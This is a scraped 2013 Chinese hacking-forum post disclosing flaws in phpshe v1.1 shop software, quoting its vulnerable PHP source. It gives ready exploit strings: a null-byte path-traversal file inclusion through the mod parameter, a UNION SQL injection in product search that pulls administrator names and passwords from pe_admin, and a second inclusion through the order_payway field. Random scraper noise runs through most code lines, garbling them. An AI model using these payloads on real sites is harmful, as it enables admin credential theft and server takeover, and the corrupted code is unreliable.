找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
8 l# G( n7 _, U/* Phpshe v1.1 Vulnerability
! o1 i9 Y; n. j1 W2 q+ _0 H/* ========================
! y1 S, _; h3 g% ]( ]/* By: : Kn1f3
: Y& {) ~3 S; ^/* E-Mail : 681796@qq.com
2 x: V" v7 ^- P! T+ p, r4 ?; P  ^2 ]/*******************************************************/
4 j9 Y+ f/ ?. `8 x5 G4 y4 L0×00 整体大概参数传输/ ^. N! I. _2 ^8 C0 m9 }4 a
6 A9 H" ]  x2 w2 T" S3 t& ^$ [0 H

1 R$ x) e6 [  U* e7 |9 ^

( q  X( y* w- Q- W* M//common.php2 @1 f! J- L% l7 o
if (get_magic_quotes_gpc()) {" Q8 V: v3 `" u  o7 \. b1 Q
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
0 P, E0 l$ W5 c5 ~0 \!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% j: W: v7 `8 K}
7 M" U* F* O! k* ielse {1 X1 t8 y* N' O: q( L. u- I6 q2 F
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');+ i  ?7 E' u  H, L) d2 i# u
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');" W0 o0 A8 a3 N
}
9 O0 S: V$ J6 S4 msession_start();
" Z/ L8 j; F& x; h9 ~4 T* X!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 Y4 {* R: s- q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! M; f, d/ Z3 T. V( I+ B
% d# ?; T1 A* V$ O0×01 包含漏洞
8 G. h, J% s+ E( m8 n: u & M. {. y* B4 C' C# d
6 z$ Z8 Q2 }1 e% ~2 d
//首页文件
. ?, f: x1 M! T* u' k7 }<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
# ]1 b* g6 k2 r: h, v- xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞* l% k4 c1 r: }! J+ ^( G
pe_result();2 U; Z0 ^# O  S6 W/ X; c, S, P: y. N
?>; d2 d+ I9 {) F- c  N! ?
//common 文件 第15行开始- R4 a; i6 M3 {$ [8 z% ?
url路由配置/ w8 S* f3 S. I7 ^; F
$module = $mod = $act = 'index';
. l. e# U! @0 R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);6 V1 s2 r$ J8 P0 y& m
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
" j) i9 n6 Q- T4 b2 T$ U$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);7 x% F4 [5 E" V
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00$ Y0 J, z4 C$ V6 u) q9 h: y2 v# [

7 x, P0 }4 Q% }' O* S
& L) o; U3 H) F0 E7 U3 {: q
0×02 搜索注入: F/ }8 J5 j; x: ~$ c  @% G

- ]( u: \) |% k<code id="code2">

//product.php文件
1 h/ C( v5 o; p. |8 ncase 'list':
0 }2 u2 _4 m; l2 S5 l- a) X$category_id = intval($id);
: C+ L1 m: ~, n8 e# O) E$info = $db->pe_select('category', array('category_id'=>$category_id));
8 t5 q4 b$ s+ B# _* m//搜索
5 n  X- a, I$ Q6 T3 g$sqlwhere = " and `product_state` = 1";
% m  Z& H9 o% o% y2 gpe_lead('hook/category.hook.php');
6 D: o/ c; W: c; f& m/ `if ($category_id) {
! |/ [+ _) \$ Twhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* ]* b9 F2 |) d" b7 r}3 k' q+ \( L4 n0 K4 c
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 u$ a; Q9 M/ U
if ($_g_orderby) {
2 a3 T: ]) i3 u; n8 N& d$orderby = explode('_', $_g_orderby);7 U: |3 r" r8 Y6 v6 T& B; m
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";9 @0 X. j. B* U0 v1 P; \
}
; C' N. b( S# r2 Q/ felse {5 Y3 }. Y" Q' t2 e6 X
$sqlwhere .= " order by `product_id` desc";9 ^2 q" A  Y4 ^# ]# ]9 @
}% X5 d7 p' ?" `1 p+ D
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));* r2 M7 G5 d- e, E# P4 X6 [
//热卖排行* P* z" b5 q7 k; g3 K9 w6 ~% i
$product_hotlist = product_hotlist();' `' O( Y# X# A: m  m: O/ _
//当前路径
6 t& N  u% e  k8 Q& s! @7 x0 y- w$nowpath = category_path($category_id);# p% K) X9 w& R5 `
$seo = pe_seo($info['category_name']);' d1 |: h  R* @) B6 P
include(pe_tpl('product_list.html'));
3 @, b! j* V+ O8 }//跟进selectall函数库) n# n8 H/ U5 x5 q4 f' i: q' `* ]
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())2 f/ ]" s7 i* ]" \0 ]' C  J
{
6 B4 C. x$ N5 F! G7 _. q//处理条件语句
* N- f' P" w$ T; a; `$sqlwhere = $this->_dowhere($where);! j2 v3 ]- r3 o4 K- D* M
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
7 B! E) S5 h" T" ?- V8 }}
" `$ b5 r6 ?9 F' y//exp$ |- p- _- Q( R8 j9 ]4 h. m
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1. q( B7 R+ O) N

</code>" _7 b  U* j( U+ x4 q

# D2 c, J& n; _8 U  K$ ]0×03 包含漏洞2
! |+ z" u) ]' V# _* D7 J6 R- \& Y % q/ K, d& u& y4 s) W& [2 c% }
<code id="code3">

//order.php

case 'pay':

5 @9 P* g# X1 L3 j
$order_id = pe_dbhold($_g_id);

; k. q% W; }4 [4 O! m
$cache_payway = cache::get('payway');


* a9 g! l6 T/ L; k! k5 Kforeach($cache_payway as $k => $v) {


: C% E2 A. ^+ A5 `: c* l% {$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

$ X7 {9 z4 c; q$ q
if ($k == 'bank') {

. n( ]+ ~) H  v' n
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


1 ~) B2 ~) V4 v; ^+ ]+ O* X1 F}

4 [2 a. [/ I9 i+ p; j; u: P3 _
}


0 ?: e* n; _& M3 d$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


, T7 |  Y3 u8 @% C!$order['order_id'] && pe_error('订单号错误...');

( V' ^3 [; B' n2 u* M
if (isset($_p_pesubmit)) {


1 h; U, R, c& s% Z+ l4 T4 cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


+ P/ G0 G( n/ K8 S$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

/ z8 l( ?5 L( ]. `/ I. c2 |
foreach ($info_list as $v) {

: z' `% J" ]: }/ J/ G
$order['order_name'] .= "{$v['product_name']};";# o: [: D- p! o  x/ g1 D

* ~2 C$ o+ ?; F+ c, c7 Q
}


% ^; ?8 L8 o; g3 [echo '正在为您连接支付网站,请稍后...';


, l0 y) v/ V% W+ v4 Z; u1 v/ jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


$ p8 D" t! F4 M( n9 v3 R}//当一切准备好的时候就可以进行"鸡肋包含了"

5 f9 P* c+ g; \, j4 \. B0 S
else {


4 q5 z/ W$ r- t& R/ Qpe_error('支付错误...');


) W+ y. V3 J4 D2 |, _+ [}


* \3 V- x8 J" K* X4 U8 m# ]/ e}


4 X, _& B2 @. {" t. I3 c$ P$seo = pe_seo('选择支付方式');


- |1 ?2 [& Q! h6 q7 Kinclude(pe_tpl('order_pay.html'));

6 m5 A" t9 s# k6 b  S3 Z
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>6 M8 U0 }; ^# f+ d1 s2 T: ^. @
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表